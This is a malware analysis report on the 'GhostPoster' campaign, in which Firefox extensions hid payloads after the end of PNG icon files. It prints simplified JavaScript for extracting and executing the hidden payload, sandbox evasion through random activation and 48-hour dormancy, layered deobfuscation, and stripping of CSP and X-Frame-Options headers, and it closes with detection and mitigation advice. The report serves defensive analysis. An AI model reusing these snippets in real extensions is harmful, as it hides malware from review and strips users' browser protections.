GhostPoster: Decrypting the Steganographic Browser Injection Campaign

Table of Contents
- Executive Summary
- The Infection Vector: Steganography in logo.png
- Evasion Architecture: The 10% Rule and Temporal Dormancy
- Payload Delivery and Obfuscation
- Operational Impact: Stripping Browser Defenses
- Detection and Mitigation Strategies
- Conclusion: The Evolution of Extension-Based Threats
Executive Summary
The implicit trust model of browser extensions has once again been weaponized. In a campaign dubbed "GhostPoster," threat actors successfully compromised over 50,000 Firefox users by concealing malicious payloads within the very iconography of trusted add-ons. Unlike traditional supply chain attacks that modify executable libraries or inject malicious scripts directly, GhostPoster leverages steganography to append malicious logic to benign PNG files, bypassing standard marketplace static analysis.
This report, based on research identified by Koi Security, deconstructs the infection chain, the loader's probabilistic evasion mechanics, and the campaign's systematic abuse of the WebExtensions API to strip critical browser security controls.
Key Findings:
- At least 17 utility extensions were compromised, including popular tools like "Free VPN Forever" and variants of "Dark Reader"
- Malicious code was hidden using append-based steganography in extension icon files
- The loader implements a 10% activation probability combined with 48-hour dormancy cycles to evade sandbox analysis
- Payloads are XOR-encrypted using victim-specific Runtime IDs, preventing cross-environment replay attacks
- The malware systematically removes CSP and X-Frame-Options headers to enable affiliate fraud and persistent backdoor access
The Infection Vector: Steganography in logo.png
The GhostPoster campaign represents a significant evolution in browser extension compromise techniques. Rather than modifying JavaScript files directly—which would trigger hash-based integrity checks and code review scrutiny—the attackers embedded their payloads within image assets that are rarely subjected to deep inspection.
Why Append-Based Injection Over LSB
Traditional steganographic techniques modify the Least Significant Bits (LSB) of pixel data to encode hidden information. While effective for covert communication, LSB encoding has significant drawbacks for malware delivery:
- Fragility: LSB-encoded data is easily corrupted by image compression, resizing, or format conversion
- Capacity Limitations: The payload size is constrained by the image dimensions
- Detection Surface: Security tools increasingly scan for statistical anomalies in pixel data distributions
GhostPoster instead employs an append-based injection technique. The PNG file format specification allows for arbitrary data to exist after the IEND chunk (which marks the official end of image data). Image renderers simply ignore this trailing data, displaying the image normally while the malicious payload remains invisible to visual inspection.
┌─────────────────────────────────────────────────────────┐
│ PNG Signature (8 bytes) │
├─────────────────────────────────────────────────────────┤
│ IHDR Chunk (Image Header) │
├─────────────────────────────────────────────────────────┤
│ IDAT Chunks (Compressed Image Data) │
├─────────────────────────────────────────────────────────┤
│ IEND Chunk (End Marker) │
├─────────────────────────────────────────────────────────┤
│ === (Delimiter) │
├─────────────────────────────────────────────────────────┤
│ [MALICIOUS PAYLOAD] │
└─────────────────────────────────────────────────────────┘
This approach provides several operational advantages:
- Unlimited Payload Size: The appended data is not constrained by image dimensions
- Format Resilience: The payload survives as long as the file isn't truncated at the IEND boundary
- Stealth: Marketplace scanners checking image validity see a perfectly valid PNG
- Simplicity: No complex bit manipulation required—just string concatenation
The Extraction Mechanism
The extension's background script contains a seemingly innocuous routine for processing its own icon resource. This code pattern, stripped of obfuscation, follows this logic:
// Simplified representation of the extraction mechanism
async function loadConfiguration() {
// Fetch the extension's own icon using the internal protocol
const iconUrl = browser.runtime.getURL('icons/logo.png');
const response = await fetch(iconUrl);
const buffer = await response.arrayBuffer();
// Convert to string for delimiter search
const uint8Array = new Uint8Array(buffer);
const decoder = new TextDecoder('utf-8');
const dataString = decoder.decode(uint8Array);
// Locate the hardcoded delimiter
const delimiter = '===';
const delimiterIndex = dataString.indexOf(delimiter);
if (delimiterIndex !== -1) {
// Extract everything after the delimiter
const payload = dataString.substring(delimiterIndex + delimiter.length);
// Execute the extracted code
executePayload(payload);
}
}
The Critical Decoupling: This architecture separates the malicious code from the extension's JavaScript files. During code review, auditors see only a generic file-parsing routine that reads the extension's own assets. The actual malicious logic exists in the PNG file, which is typically exempted from JavaScript code review processes.
The use of moz-extension:// protocol URLs (or chrome-extension:// in Chromium-based browsers) ensures the fetch request is same-origin, bypassing any CORS restrictions and avoiding external network indicators during the initial loading phase.
Evasion Architecture: The 10% Rule and Temporal Dormancy
GhostPoster implements sophisticated anti-analysis techniques designed to frustrate both automated sandbox environments and manual dynamic analysis.
Probabilistic Beaconing
The loader executes its primary network callback only 10% of the time the extension initializes:
function shouldActivate() {
// Generate cryptographically random value
const array = new Uint32Array(1);
crypto.getRandomValues(array);
// 10% activation probability
return (array[0] % 100) < 10;
}
// Entry point
if (shouldActivate()) {
initiateC2Communication();
} else {
// Extension appears completely benign
console.log('Extension loaded successfully');
}
The Strategic Calculus: In a standard sandbox analysis workflow, an extension might be executed 3-5 times before being classified as safe. With a 10% activation rate:
- Probability of detection in 1 run: 10%
- Probability of detection in 3 runs: 27.1%
- Probability of detection in 5 runs: 40.9%
- Probability of evasion across 5 runs: 59.1%
This means that nearly 60% of sandbox analyses will observe only benign behavior, leading to false-negative classifications. The malware trades infection efficiency for detection evasion—a calculus that clearly favored the attackers given the campaign's success.
48-Hour Sleep Cycles
When the probabilistic check fails or when the initial C2 communication is unsuccessful, the malware enters a 48-hour dormancy period:
const DORMANCY_PERIOD_MS = 48 * 60 * 60 * 1000; // 48 hours
async function scheduleRetry() {
const lastAttempt = await browser.storage.local.get('lastAttempt');
const now = Date.now();
if (lastAttempt && (now - lastAttempt.timestamp) < DORMANCY_PERIOD_MS) {
// Still in dormancy period - remain silent
return;
}
// Record this attempt
await browser.storage.local.set({ lastAttempt: { timestamp: now } });
// Attempt C2 communication
if (shouldActivate()) {
await initiateC2Communication();
}
}
Sandbox Evasion: Most automated malware analysis sandboxes operate on time-limited cycles, typically ranging from 5-30 minutes. A 48-hour sleep cycle ensures that:
- Short-duration dynamic scans never observe malicious behavior
- The beaconing pattern mimics legitimate software update checks
- Network forensics analysts see low-frequency traffic that blends with normal background activity
This temporal evasion technique is particularly effective because it exploits the operational constraints of security teams—maintaining 48-hour observation windows for every browser extension is simply not scalable.
Payload Delivery and Obfuscation
When the loader successfully activates, it initiates a multi-stage payload delivery process designed to complicate attribution and resist analysis.
C2 Infrastructure and Domain Selection
The primary C2 domains observed in this campaign were:
| Domain | Role | Historical Association |
|---|---|---|
liveupdt[.]com |
Primary C2 | Adware distribution |
dealctr[.]com |
Fallback C2 | "Riskware" categorization |
Strategic Domain Selection: The choice of domains historically associated with adware rather than malware is deliberate. Security Operations Centers (SOCs) typically prioritize alerts differently based on threat categorization:
- Malware domains: Immediate incident response, potential isolation
- Adware/Riskware domains: Lower priority, often bulk-processed or auto-closed
By using infrastructure that triggers "adware" classifications, the attackers reduce the likelihood of immediate human investigation, buying time for persistence establishment.
Multi-Layer Obfuscation Routine
The retrieved payload undergoes multiple obfuscation transformations before execution:
Layer 1 - Character Case Swapping:
function swapCase(str) {
return str.split('').map(char => {
if (char >= 'a' && char <= 'z') {
return char.toUpperCase();
} else if (char >= 'A' && char <= 'Z') {
return char.toLowerCase();
}
return char;
}).join('');
}
Layer 2 - Digit Substitution (8 ↔ 9):
function swapDigits(str) {
return str.replace(/[89]/g, match => match === '8' ? '9' : '8');
}
Layer 3 - XOR Encryption with Runtime ID:
function xorDecrypt(encryptedData, key) {
const keyBytes = new TextEncoder().encode(key);
const dataBytes = Uint8Array.from(atob(encryptedData), c => c.charCodeAt(0));
const decrypted = dataBytes.map((byte, i) =>
byte ^ keyBytes[i % keyBytes.length]
);
return new TextDecoder().decode(decrypted);
}
While the first two layers provide only superficial obfuscation (trivially reversible once identified), they serve to defeat naive pattern matching and string-based detection signatures.
Runtime ID Binding
The most sophisticated obfuscation layer is the XOR encryption using the extension's unique local Runtime ID. The WebExtensions API provides each extension installation with a unique identifier:
const runtimeId = browser.runtime.id;
// Example: "jid1-BoFifL9Vbdl2zQ@jetpack"
This identifier is:
- Unique per installation
- Generated by the browser during extension installation
- Not predictable by the C2 server without prior communication
Anti-Replay Implications: By encrypting the payload with a victim-specific key, the attackers ensure that:
- Captured payloads are non-portable: A payload captured from Victim A cannot be executed on Victim B's system
- Researcher replay attacks fail: Security analysts cannot simply replay network captures to observe payload behavior
- Shared IoCs are limited: File hashes of decrypted payloads are unique per victim, complicating signature-based detection
The C2 server must receive the Runtime ID during the initial beacon, then encrypt the payload specifically for that client. This creates an additional network exchange but significantly increases operational security.
Operational Impact: Stripping Browser Defenses
Once resident in the browser (persisted via browser.storage.local or IndexedDB), GhostPoster systematically degrades the victim's security posture by intercepting and modifying HTTP response headers.
CSP Header Removal
The malware registers a listener using the webRequest.onHeadersReceived API to strip Content-Security-Policy headers:
browser.webRequest.onHeadersReceived.addListener(
function(details) {
return {
responseHeaders: details.responseHeaders.filter(header =>
!['content-security-policy',
'content-security-policy-report-only',
'x-content-security-policy'
].includes(header.name.toLowerCase())
)
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
);
Security Impact: Content-Security-Policy headers are the primary defense against Cross-Site Scripting (XSS) attacks. By removing CSP:
- Inline script execution is unrestricted
- External script sources are not validated
- The
eval()function becomes available for code execution - Frame-ancestors restrictions are lifted
This effectively returns the browser to a pre-CSP security model, enabling injection of arbitrary scripts into any page the user visits.
X-Frame-Options Bypass
Similarly, the malware removes X-Frame-Options and Content-Security-Policy: frame-ancestors directives:
const headersToRemove = [
'x-frame-options',
'content-security-policy' // Also handles frame-ancestors
];
// Header stripping logic applied to all responses
Clickjacking Enablement: With frame-ancestor protections removed, the attackers can:
- Embed any website within an invisible iframe on a malicious page
- Overlay transparent click targets over legitimate UI elements
- Capture user interactions (clicks, form submissions) through the overlay
This technique is fundamental to the affiliate fraud scheme described below.
Affiliate Fraud and RCE Backdoor
The stripped security headers enable two primary monetization and persistence mechanisms:
Affiliate Commission Hijacking:
- The malware monitors navigation to e-commerce platforms (JD.com, Taobao, AliExpress observed)
- When a user initiates a purchase, the malware injects an invisible iframe
- The iframe loads the same product page through an affiliate link controlled by the attackers
- The actual purchase is redirected through this affiliate pathway
- Attackers receive commission on purchases they didn't genuinely refer
Persistent RCE Backdoor:
- With CSP disabled, the malware can inject script tags pointing to attacker-controlled domains
- These scripts receive commands from the C2 infrastructure
- Commands execute with the full privileges of the browser extension
- The backdoor persists across browser sessions via extension storage
The combination of header stripping and script injection creates a powerful platform for ongoing exploitation that survives beyond the initial infection vector.
Detection and Mitigation Strategies
For Security Teams
Network Indicators of Compromise (IoCs):
- Monitor for DNS queries to
liveupdt[.]comanddealctr[.]com - Alert on browser processes making connections to these domains
- Implement DNS sinkholing for known C2 infrastructure
Endpoint Detection:
- Audit installed browser extensions against known-good baselines
- Monitor for extensions with
webRequestandwebRequestBlockingpermissions that modify security headers - Implement browser extension whitelisting policies in enterprise environments
Behavioral Indicators of Attack (IoAs):
- CSP headers present in server responses but absent in browser DevTools
- Unexpected iframe elements on e-commerce sites
- Extension background scripts making periodic external requests
For End Users
Immediate Actions:
- Review installed browser extensions and remove any unfamiliar or unnecessary add-ons
- Check extension permissions—legitimate extensions rarely need
webRequestwith<all_urls>access - Use browser's built-in extension review features to verify installation sources
Preventive Measures:
- Install extensions only from official browser add-on stores
- Prefer extensions from verified publishers with established track records
- Regularly audit extension permissions and revoke access to those not actively used
- Enable browser security features like Enhanced Tracking Protection in Firefox
For Extension Marketplace Operators
Recommended Improvements:
- Implement entropy analysis on image assets to detect appended data
- Validate that PNG files terminate properly at the IEND chunk
- Monitor for extensions requesting both
webRequestpermissions and local file access - Implement behavioral sandboxing that extends analysis windows beyond current limits
- Flag extensions that modify security-related response headers
Conclusion: The Evolution of Extension-Based Threats
The GhostPoster campaign demonstrates a concerning evolution in browser extension compromise techniques. By combining steganographic payload hiding, probabilistic evasion, and systematic security header stripping, the attackers created a persistent threat that evaded marketplace review, sandbox analysis, and traditional endpoint detection.
Key Lessons:
-
Trust Boundaries Need Reassessment: Browser extensions operate with significant privileges that users often don't fully understand. The implicit trust granted to "utility" extensions creates a substantial attack surface.
-
Static Analysis Has Limits: Code review processes that focus on JavaScript files while treating image assets as benign will miss append-based payload injection. Defense in depth requires treating all extension assets as potentially executable.
-
Time-Based Evasion Is Highly Effective: The combination of probabilistic activation and 48-hour sleep cycles specifically targets the operational constraints of security analysis workflows. Detection capabilities must evolve to account for long-dormancy threats.
-
Header Manipulation Is Undermonitored: The ability to strip CSP and X-Frame-Options headers effectively downgrades a modern browser's security model. Organizations should monitor for header discrepancies between server responses and client-side observations.
-
Victim-Specific Encryption Complicates Response: The use of Runtime ID-based encryption creates challenges for threat intelligence sharing and incident response. Traditional IoC sharing becomes less effective when payloads are unique per victim.
The GhostPoster campaign serves as a reminder that the browser extension ecosystem remains a high-value target for sophisticated threat actors. As browsers continue to expand their security models, attackers will continue to find creative ways to subvert those protections through the trusted channel of browser extensions.
Organizations should treat extension security with the same rigor applied to other software supply chain risks, implementing comprehensive monitoring, strict permission policies, and ongoing behavioral analysis to detect these evolving threats.



